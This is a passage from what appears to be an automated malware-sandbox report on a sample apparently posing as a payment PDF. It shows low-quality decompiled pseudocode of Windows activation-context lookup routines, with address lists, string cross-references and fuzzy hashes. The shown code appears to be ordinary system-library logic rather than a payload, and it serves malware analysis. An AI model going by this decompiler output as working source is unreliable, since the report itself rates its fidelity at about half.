																									 *0x335691e0("true", _t234,  *((intOrPtr*)(_t234 + 0x10)),  *((intOrPtr*)(_t234 + 0x18)), 0, _t242 + 0xf);
																									_v40();
																									 *(_t234 + 0x1c) =  *(_t234 + 0x1c) | 0x00000008;
																									if( *((char*)(_t242 + 0xf)) != 0) {
																										 *(_t234 + 0x3c) =  *(_t234 + 0x3c) | 0x00000008;
																									}
																								}
																							}
																							if(_t229 == 0) {
																								L67:
																								return 0;
																							} else {
																								_t129 = E33474428(_a4, _t229, _t234,  &_v36, _v64,  *((intOrPtr*)(_v64 + 0x24)),  *((intOrPtr*)(_v64 + 0x28)), _t173);
																								if(_t129 < 0) {
																									goto L33;
																								} else {
																									goto L67;
																								}
																							}
																						} else {
																							if(_t129 != 0xc0150008) {
																								L33:
																								return _t129;
																							} else {
																								_t217 =  *[fs:0x18];
																								_t234 = 0;
																								_v68 = 0;
																								_v40 = _t217;
																								_v60 = 0;
																								_v52 =  *((intOrPtr*)(_t217 + 0x30));
																								_t176 = _v20;
																								L26:
																								while(1) {
																									if(_t176 <= 2) {
																										_t190 = _t176 - _t234;
																										if(_t190 == 0) {
																											_t191 =  *((intOrPtr*)(_t217 + 0x1a8));
																											if(_t191 == 0) {
																												goto L68;
																											} else {
																												_t201 =  *_t191;
																												if(_t201 == 0) {
																													goto L68;
																												} else {
																													_t202 =  *((intOrPtr*)(_t201 + 4));
																													_v60 = _t202;
																													if(_t202 == 0) {
																														L102:
																														if(_t151 == 0) {
																															goto L68;
																														} else {
																															goto L103;
																														}
																													} else {
																														if(_t202 != 0xfffffffc) {
																															if(_t202 != 0xfffffffd) {
																																_t151 =  *((intOrPtr*)(_t202 + 0x10));
																																goto L101;
																															} else {
																																_t151 = "Actx ";
																																_v68 = _t151;
																																L103:
																																_t176 = 1;
																																_v20 = 1;
																																goto L28;
																															}
																														} else {
																															_t151 =  *((intOrPtr*)(_v52 + 0x200));
																															L101:
																															_v68 = _t151;
																															goto L102;
																														}
																													}
																												}
																											}
																										} else {
																											_t203 = _t190 - 1;
																											if(_t203 == 0) {
																												L68:
																												_v60 = 0;
																												_t151 =  *((intOrPtr*)(_v52 + 0x1f8));
																												_v68 = _t151;
																												if(_t151 == 0) {
																													goto L44;
																												} else {
																													_t176 = 2;
																													_v20 = 2;
																													goto L28;
																												}
																											} else {
																												if(_t203 != 1) {
																													goto L27;
																												} else {
																													L44:
																													_v60 = 0xfffffffc;
																													_t151 =  *((intOrPtr*)(_v52 + 0x200));
																													_v68 = _t151;
																													if(_t151 == 0) {
																														goto L27;
																													} else {
																														_t176 = 3;
																														_v20 = 3;
																														goto L28;
																													}
																												}
																											}
																										}
																									} else {
																										L27:
																										if(_t176 > 3) {
																											_t129 = 0xc00000e5;
																											goto L30;
																										} else {
																											L28:
																											if(_t151 != 0) {
																												_t129 = E3348A600(_t151, _a8, _a12,  &_v64,  &_v56);
																												if(_t129 < 0) {
																													_t219 = 0;
																													if(_t129 != 0xc0150001 || _t176 == 3) {
																														goto L48;
																													} else {
																														_t151 = _v68;
																														_t217 = _v40;
																														continue;
																													}
																												} else {
																													_t177 = _v60;
																													_v16 = (0 | _t177 != 0xfffffffc) - 0x00000001 & 0x00000002 | 0 | _t177 == 0x00000000;
																													asm("sbb edx, edx");
																													_t219 =  ~(_t177 - 0xfffffffc) & _t177;
																													_t129 = 0;
																													L48:
																													if(_t129 < 0) {
																														goto L31;
																													} else {
																														if(_t219 != 0) {
																															_t125 = _t219 - 1; // -1
																															if((_t125 | 0x00000007) != 0xffffffff &&  *_t219 != 0x7fffffff) {
																																while(1) {
																																	_t236 =  *_t219;
																																	if(_t236 == 0x7fffffff) {
																																		goto L50;
																																	}
																																	asm("lock cmpxchg [edx], ecx");
																																	if(_t236 != _t236) {
																																		continue;
																																	} else {
																																		goto L50;
																																	}
																																	goto L112;
																																}
																															}
																														}
																														L50:
																														_t234 = _t219;
																														goto L51;
																													}
																												}
																											} else {
																												_t129 = 0xc0150001;
																												L30:
																												if(_t129 >= 0) {
																													L51:
																													_t173 = _v56;
																													if(_t173 >= 0x2c) {
																														goto L22;
																													} else {
																														goto L110;
																													}
																												} else {
																													L31:
																													if(_t129 == 0xc0150001) {
																														_t129 = 0xc0150008;
																													}
																													goto L33;
																												}
																											}
																										}
																									}
																									goto L112;
																								}
																							}
																						}
																						goto L112;
																					}
																					L111:
																					_push(_t173);
																					L334FEF10(0x33, 0, "RtlFindActivationContextSectionString() found section at %p (length %lu) which is not a string section\n", _t138);
																					_t129 = 0xc0150003;
																					goto L33;
																				}
																			}
																		}
																	}
																}
															}
														} else {
															goto L14;
														}
													}
													goto L112;
													L34:
													_t136 = _t135 - 1;
													if(_t136 == 0) {
														goto L14;
													} else {
														if(_t136 != 1) {
															goto L87;
														} else {
															goto L36;
														}
													}
													goto L112;
												}
											}
										} else {
											if(_t130 + 0x2c >  *_t130 + _t130) {
												_push(0xc000000d);
												_push("RtlpFindActivationContextSection_CheckParameters");
												_push("SXS: %s() flags contains return_flags but they don\'t fit in size, return invalid_parameter 0x%08lx.\n");
												L82:
												_push(0);
												_push(0x33);
												L334FEF10();
												goto L83;
											} else {
												_t130 = _a20;
												goto L9;
											}
										}
									}
								}
							}
						}
					}
				}
				L112:
			}

0x3348a178
0x3348a17f
0x3348a182
0x3348a18f
0x3348a4b4
0x00000000
0x334d77ce
0x334d77ce
0x00000000
0x334d77ce
0x3348a195
0x3348a195
0x3348a199
0x3348a1a1
0x3348a1a9
0x3348a1b1
0x334d77f3
0x334d77f3
0x00000000
0x3348a1b7
0x3348a1b7
0x3348a1c0
0x00000000
0x3348a1c6
0x3348a1c6
0x3348a1cc
0x3348a5dc
0x00000000
0x3348a5e2
0x00000000
0x3348a5e2
0x3348a1d2
0x3348a1d4
0x00000000
0x3348a1da
0x3348a1da
0x3348a1dd
0x00000000
0x3348a1e3
0x3348a1e3
0x3348a1e6
0x3348a1fa
0x3348a1fd
0x3348a5f0
0x00000000
0x3348a5f6
0x334d77fd
0x334d7802
0x334d7807
0x00000000
0x334d7807
0x3348a203
0x3348a203
0x3348a208
0x3348a20b
0x3348a20f
0x3348a216
0x3348a21c
0x3348a224
0x3348a228
0x3348a22b
0x3348a233
0x3348a23b
0x3348a23f
0x3348a243
0x3348a247
0x3348a250
0x3348a252
0x3348a255
0x00000000
0x00000000
0x3348a25b
0x3348a263
0x3348a26f
0x3348a26f
0x3348a277
0x3348a27d
0x3348a3ae
0x3348a3ae
0x3348a3b4
0x3348a3be
0x334d7823
0x334d7826
0x00000000
0x334d782c
0x334d782c
0x00000000
0x334d782c
0x3348a3c4
0x3348a3c4
0x3348a3c9
0x00000000
0x3348a3c9
0x3348a283
0x3348a283
0x3348a288
0x00000000
0x3348a288
0x3348a265
0x3348a265
0x3348a269
0x3348a4bf
0x3348a4c2
0x3348a4c8
0x3348a4e3
0x334d780e
0x00000000
0x3348a4e9
0x3348a4ec
0x334d7819
0x00000000
0x3348a4f2
0x3348a4f2
0x00000000
0x3348a4f2
0x3348a4ec
0x3348a4ca
0x3348a4ca
0x3348a4cc
0x00000000
0x3348a4d2
0x3348a4d2
0x3348a4d2
0x3348a4d7
0x3348a28c
0x3348a28e
0x334d7833
0x334d7838
0x334d7838
0x00000000
0x3348a294
0x3348a2a5
0x3348a2ac
0x3348a3d2
0x3348a3d9
0x00000000
0x3348a3e8
0x3348a3e8
0x3348a3ec
0x3348a3f0
0x00000000
0x3348a3f0
0x3348a2b2
0x3348a2b2
0x3348a2d2
0x3348a2d6
0x3348a2d8
0x3348a2da
0x3348a2dc
0x3348a2de
0x334d783a
0x334d783c
0x00000000
0x334d7842
0x00000000
0x334d7842
0x3348a2e4
0x3348a2e4
0x3348a2e4
0x3348a2eb
0x334d78ed
0x334d78ed
0x00000000
0x3348a2f1
0x3348a2f1
0x3348a300
0x3348a300
0x3348a300
0x3348a30a
0x00000000
0x00000000
0x3348a310
0x3348a325
0x3348a32c
0x3348a4f7
0x3348a500
0x3348a502
0x3348a505
0x3348a50b
0x3348a5a5
0x3348a5b8
0x3348a5be
0x3348a5c2
0x3348a5cb
0x3348a5d1
0x3348a5d1
0x3348a5cb
0x3348a50b
0x3348a523
0x3348a549
0x3348a551
0x3348a525
0x3348a53c
0x3348a543
0x00000000
0x00000000
0x00000000
0x00000000
0x3348a543
0x3348a332
0x3348a337
0x3348a393
0x3348a399
0x3348a339
0x3348a339
0x3348a342
0x3348a344
0x3348a34a
0x3348a34e
0x3348a355
0x3348a359
0x00000000
0x3348a360
0x3348a363
0x3348a3fa
0x3348a3fc
0x334d7847
0x334d784f
0x00000000
0x334d7855
0x334d7855
0x334d7859
0x00000000
0x334d785f
0x334d785f
0x334d7862
0x334d7868
0x334d7892
0x334d7894
0x00000000
0x00000000
0x00000000
0x00000000
0x334d786a
0x334d786d
0x334d787e
0x334d788b
0x00000000
0x334d7880
0x334d7880
0x334d7885
0x334d789a
0x334d789a
0x334d789f
0x00000000
0x334d789f
0x334d786f
0x334d7873
0x334d788e
0x334d788e
0x00000000
0x334d788e
0x334d786d
0x334d7868
0x334d7859
0x3348a402
0x3348a402
0x3348a405
0x3348a554
0x3348a556
0x3348a55e
0x3348a564
0x3348a56a
0x00000000
0x3348a570
0x3348a570
0x3348a575
0x00000000
0x3348a575
0x3348a40b
0x3348a40e
0x00000000
0x3348a414
0x3348a414
0x3348a418
0x3348a420
0x3348a426
0x3348a42c
0x00000000
0x3348a432
0x3348a432
0x3348a437
0x00000000
0x3348a437
0x3348a42c
0x3348a40e
0x3348a405
0x3348a369
0x3348a369
0x3348a36c
0x334d78e3
0x00000000
0x3348a372
0x3348a372
0x3348a374
0x3348a452
0x3348a459
0x3348a57e
0x3348a585
0x00000000
0x3348a594
0x3348a594
0x3348a598
0x00000000
0x3348a598
0x3348a45f
0x3348a45f
0x3348a47f
0x3348a483
0x3348a485
0x3348a487
0x3348a489
0x3348a48b
0x00000000
0x3348a491
0x3348a493
0x334d78a8
0x334d78b1
0x334d78c3
0x334d78c3
0x334d78cb
0x00000000
0x00000000
0x334d78d6
0x334d78dc
0x00000000
0x334d78de
0x00000000
0x334d78de
0x00000000
0x334d78dc
0x334d78c3
0x334d78b1
0x3348a499
0x3348a499
0x00000000
0x3348a499
0x3348a48b
0x3348a37a
0x3348a37a
0x3348a37f
0x3348a381
0x3348a49b
0x3348a49b
0x3348a4a2
0x00000000
0x3348a4a8
0x00000000
0x3348a4a8
0x3348a387
0x3348a387
0x3348a38c
0x3348a38e
0x3348a38e
0x00000000
0x3348a38c
0x3348a381
0x3348a374
0x3348a36c
0x00000000
0x3348a363
0x3348a360
0x3348a337
0x00000000
0x3348a32c
0x334d78f1
0x334d78f1
0x334d78fc
0x334d7904
0x00000000
0x334d7904
0x3348a2eb
0x3348a2de
0x3348a2ac
0x3348a28e
0x3348a4cc
0x00000000
0x00000000
0x00000000
0x3348a269
0x00000000
0x3348a39c
0x3348a39c
0x3348a39f
0x00000000
0x3348a3a5
0x3348a3a8
0x00000000
0x00000000
0x00000000
0x00000000
0x3348a3a8
0x00000000
0x3348a39f
0x3348a250
0x3348a1e8
0x3348a1f1
0x334d77d8
0x334d77dd
0x334d77e2
0x334d77e7
0x334d77e7
0x334d77e9
0x334d77eb
0x00000000
0x3348a1f7
0x3348a1f7
0x00000000
0x3348a1f7
0x3348a1f1
0x3348a1e6
0x3348a1dd
0x3348a1d4
0x3348a1cc
0x3348a1c0
0x3348a1b1
0x00000000

Strings

SXS: %s() flags contains return_assembly_metadata but they don't fit in size, return invalid_parameter 0x%08lx., xrefs: 334D7807
Actx , xrefs: 334D7819, 334D7880
RtlFindActivationContextSectionString() found section at %p (length %lu) which is not a string section, xrefs: 334D78F3
SXS: %s() flags contains return_flags but they don't fit in size, return invalid_parameter 0x%08lx., xrefs: 334D77E2
SsHd, xrefs: 3348A304
RtlpFindActivationContextSection_CheckParameters, xrefs: 334D77DD, 334D7802

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID: Actx $RtlFindActivationContextSectionString() found section at %p (length %lu) which is not a string section$RtlpFindActivationContextSection_CheckParameters$SXS: %s() flags contains return_assembly_metadata but they don't fit in size, return invalid_parameter 0x%08lx.$SXS: %s() flags contains return_flags but they don't fit in size, return invalid_parameter 0x%08lx.$SsHd
API String ID: 0-1988757188
Opcode ID: 17ad2345061390355eb201e303266e1cd3a46397393d7048a631d09405d5fc52
Instruction ID: 8d96109eb7c7dbb7d4d32dbf89e9f0c79096c01112cbe5007cae8f7b091abc53
Opcode Fuzzy Hash: 17ad2345061390355eb201e303266e1cd3a46397393d7048a631d09405d5fc52
Instruction Fuzzy Hash: C6E104746043018FE711CF24C99071ABBE5BB85364F584A2DF8A5CF391DBB2D885CB8A

Uniqueness

Uniqueness Score: -1.00%

Function 3348D690 Relevance: 12.6, APIs: 1, Strings: 6, Instructions: 372
timeCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E3348D690(signed int _a4, signed int _a8, intOrPtr _a12, signed int _a16, intOrPtr* _a20) {
				signed int _v8;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				char _v36;
				signed int _v40;
				char _v44;
				intOrPtr _v48;
				signed int _v52;
				char _v56;
				char _v60;
				signed int _v64;
				intOrPtr _v68;
				signed int _v72;
				char _v76;
				signed int _v80;
				signed int* _v84;
				char _v88;
				signed int _v92;
				char _v93;
				signed int _v104;
				char _v117;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t150;
				char _t158;
				intOrPtr _t160;
				intOrPtr _t163;
				intOrPtr* _t164;
				intOrPtr _t170;
				signed int _t171;
				void* _t172;
				signed int _t195;
				intOrPtr* _t201;
				signed int _t205;
				intOrPtr* _t209;
				void* _t210;
				intOrPtr _t211;
				intOrPtr _t213;
				signed int _t214;
				intOrPtr* _t215;
				intOrPtr _t217;
				intOrPtr _t225;
				intOrPtr _t227;
				intOrPtr _t228;
				void* _t233;
				intOrPtr* _t234;
				signed int _t242;
				void* _t246;
				signed int _t247;
				signed int _t252;
				void* _t253;
				intOrPtr* _t254;
				intOrPtr _t255;
				signed int _t256;
				signed int _t258;

				_t258 = (_t256 & 0xfffffff8) - 0x5c;
				_v8 =  *0x3356b370 ^ _t258;
				_t217 =  *[fs:0x18];
				_t241 = _a16;
				_t209 = _a20;
				_t150 =  *((intOrPtr*)(_t217 + 0x30));
				_t252 = _a8;
				_v84 = _t241;
				_v80 = _t209;
				if( *((intOrPtr*)(_t150 + 0x1f8)) == 0) {
					if( *((intOrPtr*)(_t150 + 0x200)) != 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t217 + 0x1a8)))) != 0) {
						goto L1;
					} else {
						_t151 = 0xc0150001;
						L24:
						_pop(_t246);
						_pop(_t253);
						_pop(_t210);
						return E334B4B50(_t151, _t210, _v8 ^ _t258, _t241, _t246, _t253);
					}
				}
				L1:
				_v88 = 0;
				if(_t241 == 0) {
					L49:
					_t151 = 0xc000000d;
					goto L24;
				}
				_t241 = _a4;
				if((_t241 & 0xfffffff8) != 0) {
					goto L49;
				}
				if((_t241 & 0x00000007) == 0) {
					if(_t209 != 0) {
						L5:
						if( *_t209 < 0x24) {
							goto L49;
						}
						L6:
						if((_t241 & 0x00000002) != 0) {
							if(_t209 + 0x2c <=  *_t209 + _t209) {
								goto L7;
							}
							_push(0xc000000d);
							_push("RtlpFindActivationContextSection_CheckParameters");
							_push("SXS: %s() flags contains return_flags but they don\'t fit in size, return invalid_parameter 0x%08lx.\n");
							L48:
							_push(0);
							_push(0x33);
							L334FEF10();
							_t258 = _t258 + 0x14;
							goto L49;
						}
						L7:
						if((_t241 & 0x00000004) != 0) {
							if(_t209 + 0x40 <=  *_t209 + _t209) {
								goto L8;
							}
							_push(0xc000000d);
							_push("RtlpFindActivationContextSection_CheckParameters");
							_push("SXS: %s() flags contains return_assembly_metadata but they don\'t fit in size, return invalid_parameter 0x%08lx.\n");
							goto L48;
						}
						L8:
						_t241 =  &_v76;
						_v48 = _a12;
						_v60 = 0x18;
						_v56 = 0;
						_v52 = _t252;
						_v40 = 0;
						_v64 = 0;
						_v44 = 0;
						if(E3348D580( &_v60,  &_v76,  &_v88,  &_v64) < 0) {
							goto L24;
						}
						_t151 = 0;
						if(0 < 0) {
							goto L24;
						}
						_t158 = _v88;
						if(_t158 < 0x28) {
							L34:
							_t254 = _v76;
							L91:
							_push(_t158);
							L334FEF10(0x33, 0, "RtlFindActivationContextSectionGuid() found section at %p (length %lu) which is not a GUID section\n", _t254);
							_t258 = _t258 + 0x14;
							_t151 = 0xc0150003;
							goto L24;
						}
						_t247 = _v64;
						while(1) {
							L12:
							_t254 = _v76;
							if( *_t254 != 0x64487347) {
								goto L91;
							}
							_t211 =  *((intOrPtr*)(_t254 + 0x14));
							_t160 = 1;
							if(_t211 == 0) {
								L19:
								_t225 =  *[fs:0x18];
								_t255 = _v44;
								_v92 = 0;
								_t247 = 0;
								_v68 = _t225;
								_t241 =  *(_t225 + 0x30);
								_v72 = _t241;
								L20:
								while(1) {
									if(_t255 <= 2) {
										_t163 = _t255;
										if(_t163 == 0) {
											_t164 =  *((intOrPtr*)(_t225 + 0x1a8));
											if(_t164 == 0) {
												L43:
												_t213 =  *((intOrPtr*)(_t241 + 0x1f8));
												_v92 = 0;
												if(_t213 == 0) {
													L28:
													_t213 =  *((intOrPtr*)(_t241 + 0x200));
													_v92 = 0xfffffffc;
													if(_t213 == 0) {
														goto L21;
													}
													_t255 = 3;
													_v44 = 3;
													L22:
													if(_t213 != 0) {
														_t241 = _v52;
														_t151 = E3348A600(_t213, _v52, _v48,  &_v76,  &_v88);
														if(_t151 < 0) {
															if(_t151 != 0xc0150001 || _t255 == 3) {
																L32:
																if(_t151 < 0) {
																	if(_t151 != 0xc0150001) {
																		goto L24;
																	}
																	goto L23;
																}
																_t158 = _v88;
																if(_t158 >= 0x28) {
																	goto L12;
																}
																goto L34;
															} else {
																_t225 = _v68;
																_t241 = _v72;
																continue;
															}
														}
														_t241 = _v92;
														_v40 = (0 | _t241 != 0xfffffffc) - 0x00000001 & 0x00000002 | 0 | _t241 == 0x00000000;
														asm("sbb edi, edi");
														_t247 =  ~(_t241 - 0xfffffffc) & _t241;
														_t151 = 0;
														goto L32;
													}
													L23:
													_t151 = 0xc0150008;
													goto L24;
												}
												_t255 = 2;
												_v44 = 2;
												goto L22;
											}
											_t170 =  *_t164;
											if(_t170 == 0) {
												goto L43;
											}
											_t171 =  *((intOrPtr*)(_t170 + 4));
											_v92 = _t171;
											if(_t171 == 0) {
												L83:
												if(_t213 == 0) {
													goto L43;
												}
												L84:
												_t255 = 1;
												_v44 = 1;
												goto L22;
											}
											if(_t171 != 0xfffffffc) {
												if(_t171 != 0xfffffffd) {
													_t213 =  *((intOrPtr*)(_t171 + 0x10));
													goto L83;
												}
												_t213 = "Actx ";
												goto L84;
											}
											_t213 =  *((intOrPtr*)(_t241 + 0x200));
											goto L83;
										}
										_t172 = _t163 - 1;
										if(_t172 == 0) {
											goto L43;
										}
										if(_t172 != 1) {
											goto L21;
										}
										goto L28;
									}
									L21:
									if(_t255 > 3) {
										_t151 = 0xc00000e5;
										goto L24;
									}
									goto L22;
								}
							}
							if( *((intOrPtr*)(_t254 + 8)) != 1) {
								_t160 = 0;
							}
							_t227 =  *((intOrPtr*)(_t254 + 0x1c));
							if(_t227 != 0) {
								if(_t160 == 0) {
									goto L16;
								}
								_v92 = 0;
								_t233 =  *((intOrPtr*)(_t227 + _t254 + 4)) +  *_v84 %  *(_t227 + _t254) * 8;
								_t234 = _t233 + _t254;
								_t201 =  *((intOrPtr*)(_t233 + _t254 + 4)) + _t254;
								_v72 = _t234;
								if( *_t234 <= 0) {
									goto L19;
								} else {
									goto L54;
								}
								while(1) {
									L54:
									_t214 =  *_t201 + _t254;
									_v68 = _t201 + 4;
									if(E334C8050(_t214, _v84, 0x10) == 0x10) {
										goto L18;
									}
									_t205 = _v92 + 1;
									_v92 = _t205;
									_t201 = _v68;
									if(_t205 <  *_v72) {
										continue;
									}
									goto L19;
								}
							} else {
								L16:
								_t228 =  *((intOrPtr*)(_t254 + 0x18));
								if(( *(_t254 + 0x10) & 0x00000001) == 0) {
									_t174 = _t228 + _t254;
									_v92 = _t228 + _t254;
									while(E334C8050(_t174, _v84, 0x10) != 0x10) {
										_t174 = _v92 + 0x1c;
										_v92 = _v92 + 0x1c;
										_t211 = _t211 - 1;
										if(_t211 != 0) {
											continue;
										}
										goto L19;
									}
									_t214 = _v92;
									L18:
									if(_t214 != 0) {
										if( *((intOrPtr*)(_t214 + 0x10)) == 0) {
											goto L19;
										}
										_t241 = _v80;
										if(_t241 != 0) {
											 *((intOrPtr*)(_t241 + 4)) =  *((intOrPtr*)(_t254 + 0xc));
											 *((intOrPtr*)(_t241 + 8)) =  *((intOrPtr*)(_t214 + 0x10)) + _t254;
											 *((intOrPtr*)(_t241 + 0xc)) =  *((intOrPtr*)(_t214 + 0x14));
											if(_t241 + 0x28 <=  *_t241 + _t241) {
												 *((intOrPtr*)(_t241 + 0x24)) =  *((intOrPtr*)(_t214 + 0x18));
											}
										}
										if((_t247 - 0x00000001 | 0x00000007) != 0xffffffff) {
											_t215 =  *((intOrPtr*)(_t247 + 0x14));
											if(_t215 != 0 && (( *(_t247 + 0x1c) & 0x00000008) == 0 || ( *(_t247 + 0x3c) & 0x00000008) == 0)) {
												_v93 = 0;
												 *0x335691e0("true", _t247,  *((intOrPtr*)(_t247 + 0x10)),  *((intOrPtr*)(_t247 + 0x18)), 0,  &_v93);
												 *_t215();
												 *(_t247 + 0x1c) =  *(_t247 + 0x1c) | 0x00000008;
												_t241 = _v104;
												if(_v117 != 0) {
													 *(_t247 + 0x3c) =  *(_t247 + 0x3c) | 0x00000008;
												}
											}
										}
										if(_t241 == 0 || E33474428(_a4, _t241, _t247,  &_v60, _t254,  *((intOrPtr*)(_t254 + 0x20)),  *((intOrPtr*)(_t254 + 0x24)), _v88) >= 0) {
											_t151 = 0;
										}
										goto L24;
									}
									goto L19;
								}
								_t242 = _v84;
								_v36 =  *_t242;
								_v32 =  *((intOrPtr*)(_t242 + 4));
								_v28 =  *((intOrPtr*)(_t242 + 8));
								_v24 =  *((intOrPtr*)(_t242 + 0xc));
								_t195 = E334B8170( &_v36, _t228 + _t254, _t211, 0x1c, E3346B600);
								_t258 = _t258 + 0x14;
								_t214 = _t195;
							}
							goto L18;
						}
						goto L91;
					}
					goto L6;
				}
				if(_t209 == 0) {
					goto L49;
				}
				goto L5;
			}

0x3348d698
0x3348d6a2
0x3348d6a6
0x3348d6ad
0x3348d6b1
0x3348d6b4
0x3348d6b8
0x3348d6c3
0x3348d6c7
0x3348d6cb
0x3348d90e
0x00000000
0x334d913f
0x334d913f
0x3348d847
0x3348d84b
0x3348d84c
0x3348d84d
0x3348d858
0x3348d858
0x3348d90e
0x3348d6d1
0x3348d6d1
0x3348d6db
0x334d9164
0x334d9164
0x00000000
0x334d9164
0x3348d6e1
0x3348d6ea
0x00000000
0x00000000
0x3348d6f3
0x3348d8fc
0x3348d701
0x3348d704
0x00000000
0x00000000
0x3348d70a
0x3348d70d
0x3348d922
0x00000000
0x00000000
0x334d9149
0x334d914e
0x334d9153
0x334d9158
0x334d9158
0x334d915a
0x334d915c
0x334d9161
0x00000000
0x334d9161
0x3348d713
0x3348d716
0x3348d936
0x00000000
0x00000000
0x334d916e
0x334d9173
0x334d9178
0x00000000
0x334d9178
0x3348d71c
0x3348d71f
0x3348d723
0x3348d72f
0x3348d73c
0x3348d745
0x3348d749
0x3348d751
0x3348d759
0x3348d768
0x00000000
0x00000000
0x3348d76e
0x3348d772
0x00000000
0x00000000
0x3348d778
0x3348d77f
0x3348d8f1
0x3348d8f1
0x334d9370
0x334d9370
0x334d937b
0x334d9380
0x334d9383
0x00000000
0x334d9383
0x3348d785
0x3348d790
0x3348d790
0x3348d790
0x3348d79a
0x00000000
0x00000000
0x3348d7a0
0x3348d7a3
0x3348d7a7
0x3348d80d
0x3348d80d
0x3348d816
0x3348d81c
0x3348d820
0x3348d822
0x3348d826
0x3348d829
0x00000000
0x3348d830
0x3348d833
0x3348d85d
0x3348d860
0x334d92e0
0x334d92e8
0x3348d941
0x3348d941
0x3348d949
0x3348d94f
0x3348d874
0x3348d874
0x3348d87a
0x3348d884
0x00000000
0x00000000
0x3348d886
0x3348d88b
0x3348d83e
0x3348d840
0x3348d891
0x3348d8a5
0x3348d8ac
0x334d933a
0x3348d8dc
0x3348d8de
0x334d935b
0x00000000
0x00000000
0x00000000
0x334d9361
0x3348d8e4
0x3348d8eb
0x00000000
0x00000000
0x00000000
0x334d9349
0x334d9349
0x334d934d
0x00000000
0x334d934d
0x334d933a
0x3348d8b2
0x3348d8d2
0x3348d8d6
0x3348d8d8
0x3348d8da
0x00000000
0x3348d8da
0x3348d842
0x3348d842
0x00000000
0x3348d842
0x3348d955
0x3348d95a
0x00000000
0x3348d95a
0x334d92ee
0x334d92f2
0x00000000
0x00000000
0x334d92f8
0x334d92fb
0x334d9301
0x334d931f
0x334d9321
0x00000000
0x00000000
0x334d9327
0x334d9327
0x334d932c
0x00000000
0x334d932c
0x334d9306
0x334d9313
0x334d931c
0x00000000
0x334d931c
0x334d9315
0x00000000
0x334d9315
0x334d9308
0x00000000
0x334d9308
0x3348d866
0x3348d869
0x00000000
0x00000000
0x3348d872
0x00000000
0x00000000
0x00000000
0x3348d872
0x3348d835
0x3348d838
0x334d9366
0x00000000
0x334d9366
0x00000000
0x3348d838
0x3348d830
0x3348d7ad
0x334d917f
0x334d917f
0x3348d7b3
0x3348d7b8
0x334d9188
0x00000000
0x00000000
0x334d9194
0x334d91a5
0x334d91ac
0x334d91ae
0x334d91b0
0x334d91b7
0x00000000
0x00000000
0x00000000
0x00000000
0x334d91bd
0x334d91bd
0x334d91c8
0x334d91ca
0x334d91d7
0x00000000
0x00000000
0x334d91e5
0x334d91e6
0x334d91ec
0x334d91f0
0x00000000
0x00000000
0x00000000
0x334d91f2
0x3348d7be
0x3348d7be
0x3348d7c2
0x3348d7c5
0x334d91f7
0x334d91fa
0x334d91fe
0x334d9213
0x334d9216
0x334d921a
0x334d921d
0x00000000
0x00000000
0x00000000
0x334d921f
0x334d9224
0x3348d805
0x3348d807
0x334d9231
0x00000000
0x00000000
0x334d9237
0x334d923d
0x334d9244
0x334d924e
0x334d9254
0x334d925c
0x334d9261
0x334d9261
0x334d925c
0x334d926d
0x334d926f
0x334d9274
0x334d9286
0x334d9299
0x334d929f
0x334d92a1
0x334d92aa
0x334d92ae
0x334d92b0
0x334d92b0
0x334d92ae
0x334d9274
0x334d92b6
0x334d92d9
0x334d92d9
0x00000000
0x334d92b6
0x00000000
0x3348d807
0x3348d7cb
0x3348d7d9
0x3348d7e0
0x3348d7e7
0x3348d7ee
0x3348d7fb
0x3348d800
0x3348d803
0x3348d803
0x00000000
0x3348d7b8
0x00000000
0x3348d790
0x00000000
0x3348d902
0x3348d6fb
0x00000000
0x00000000
0x00000000

APIs

RtlDebugPrintTimes.NTDLL ref: 334D9299

Strings

SXS: %s() flags contains return_assembly_metadata but they don't fit in size, return invalid_parameter 0x%08lx., xrefs: 334D9178
GsHd, xrefs: 3348D794
Actx , xrefs: 334D9315
RtlFindActivationContextSectionGuid() found section at %p (length %lu) which is not a GUID section, xrefs: 334D9372
SXS: %s() flags contains return_flags but they don't fit in size, return invalid_parameter 0x%08lx., xrefs: 334D9153
RtlpFindActivationContextSection_CheckParameters, xrefs: 334D914E, 334D9173

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: DebugPrintTimes
String ID: Actx $GsHd$RtlFindActivationContextSectionGuid() found section at %p (length %lu) which is not a GUID section$RtlpFindActivationContextSection_CheckParameters$SXS: %s() flags contains return_assembly_metadata but they don't fit in size, return invalid_parameter 0x%08lx.$SXS: %s() flags contains return_flags but they don't fit in size, return invalid_parameter 0x%08lx.
API String ID: 3446177414-2196497285
Opcode ID: a19ead2c53cd274be3811d7531d997acd00528b3e4b82fbe95c757c6b825d6da
Instruction ID: b5ca0aeb2148dc8b89d98e794dfc3af54dd5fb34ed1561e777dee1f18bbcff29
Opcode Fuzzy Hash: a19ead2c53cd274be3811d7531d997acd00528b3e4b82fbe95c757c6b825d6da
Instruction Fuzzy Hash: 64E1D2756053419FE700CF18C890B0AB7E5BF89358F484E2DE8A5CB392D772E845CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 3346640D Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 150
timeCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E3346640D(void* __ecx) {
				signed int _v8;
				void* _v12;
				void* _v536;
				void* _v548;
				char _v780;
				char* _v784;
				char _v788;
				char _v792;
				intOrPtr _v804;
				char _v868;
				char* _v872;
				short _v874;
				char _v876;
				void* _v880;
				char _v892;
				void* _v896;
				void* _v900;
				void* _v904;
				void* __ebx;
				void* __edi;
